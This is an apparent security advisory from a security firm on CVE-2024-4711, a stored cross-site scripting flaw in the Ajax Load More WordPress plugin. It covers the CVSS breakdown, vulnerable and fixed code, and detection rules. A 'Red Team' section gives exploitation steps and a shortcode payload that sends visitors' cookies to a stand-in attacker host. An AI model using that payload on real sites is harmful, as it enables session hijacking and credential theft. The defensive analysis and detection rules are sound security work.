CVE-2024-4711

Executive Summary

CVE-2024-4711 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Ajax Load More (versions up to and including 7.1.1). The flaw resides in the ajax_load_more shortcode, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious shortcode, the injected script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 and has a CVSS score of 6.4 (Medium). No official patch has been released as of this analysis.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking its checksum against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): None (N) – No user action is required for the stored XSS to execute.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited modification of data possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS and the lack of a patch make it a significant risk for WordPress sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability is triggered through the ajax_load_more shortcode. The plugin fails to properly sanitize user-supplied input and escape output when rendering the shortcode. An attacker with contributor-level permissions can craft a shortcode like:

[ajax_load_more container_type="div" post_type="post" button_label="<script>alert('XSS')</script>"]

When the shortcode is processed, the button_label parameter is output without proper escaping, allowing the injected script to execute in the browser of any user viewing the page. The script runs in the context of the WordPress site, enabling the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

The vulnerability is stored because the malicious shortcode is saved in the WordPress database (e.g., in a post or page) and executed every time the content is rendered.

Vulnerable vs. Patched Code

Vulnerable Code (version 7.1.1 and earlier): In the plugin's shortcode handler, the button_label attribute is output directly without escaping:

$button_label = $atts['button_label'];
echo '<button class="alm-load-more-btn">' . $button_label . '</button>';

Patched Code (hypothetical fix): The patched version would escape the output using WordPress's esc_html() function:

$button_label = $atts['button_label'];
echo '<button class="alm-load-more-btn">' . esc_html( $button_label ) . '</button>';

Additionally, input validation should be applied to ensure the button_label does not contain HTML tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Ajax Load More plugin version 7.1.1 or earlier.
• An authenticated user account with contributor-level permissions or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [ajax_load_more container_type="div" post_type="post" button_label="<script>alert(document.cookie)</script>"]
   

4. Publish the post.
5. Any user visiting the post will see an alert box displaying their cookies.

Advanced Payload: To steal cookies, use a payload that sends the cookie to an attacker-controlled server:

[ajax_load_more container_type="div" post_type="post" button_label="<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>"]

Blue Team

Detection:

• Monitor for posts or pages containing the ajax_load_more shortcode with suspicious attributes (e.g., button_label containing <script> tags).
• Use web application firewalls (WAF) to block requests containing XSS patterns in shortcode parameters.

Mitigation:

• Disable the Ajax Load More plugin until a patch is available.
• Restrict contributor-level permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ajax-load-more/ (presence of vulnerable version)
• Database: Posts or pages containing the shortcode [ajax_load_more ... button_label="<script>...</script>"]
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?c=...)
• Logs: WordPress audit logs showing creation of posts with unusual shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2024_4711_Ajax_Load_More_XSS {
    meta:
        description = "Detects stored XSS payloads in Ajax Load More shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4711"
    strings:
        $shortcode = /\[ajax_load_more[^\]]*button_label\s*=\s*["'][^"']*<script[^>]*>/
    condition:
        $shortcode
}

Sigma Rule

title: Stored XSS via Ajax Load More Shortcode
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of posts/pages containing malicious Ajax Load More shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress post creation event
        PostContent|contains: '[ajax_load_more'
        PostContent|re: 'button_label\s*=\s*["\'][^"\']*<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4711 - Stored XSS in Ajax Load More"; flow:to_server,established; content:"[ajax_load_more"; http_client_body; pcre:"/button_label\s*=\s*["\'][^"\']*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Ajax Load More plugin if not essential.
2. Short-term: Restrict contributor-level permissions to trusted users only. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode parameters.
3. Long-term: Monitor the plugin's official page for a security patch. Once available, update to the patched version immediately. Consider using a security plugin like Wordfence to detect and block malicious shortcode injections.
4. Compensating Controls: Deploy Content Security Policy (CSP) headers to prevent execution of inline scripts. Example CSP:

   Content-Security-Policy: script-src 'self' https://ajax.googleapis.com;
   

Valters IT
Securing Digital Frontiers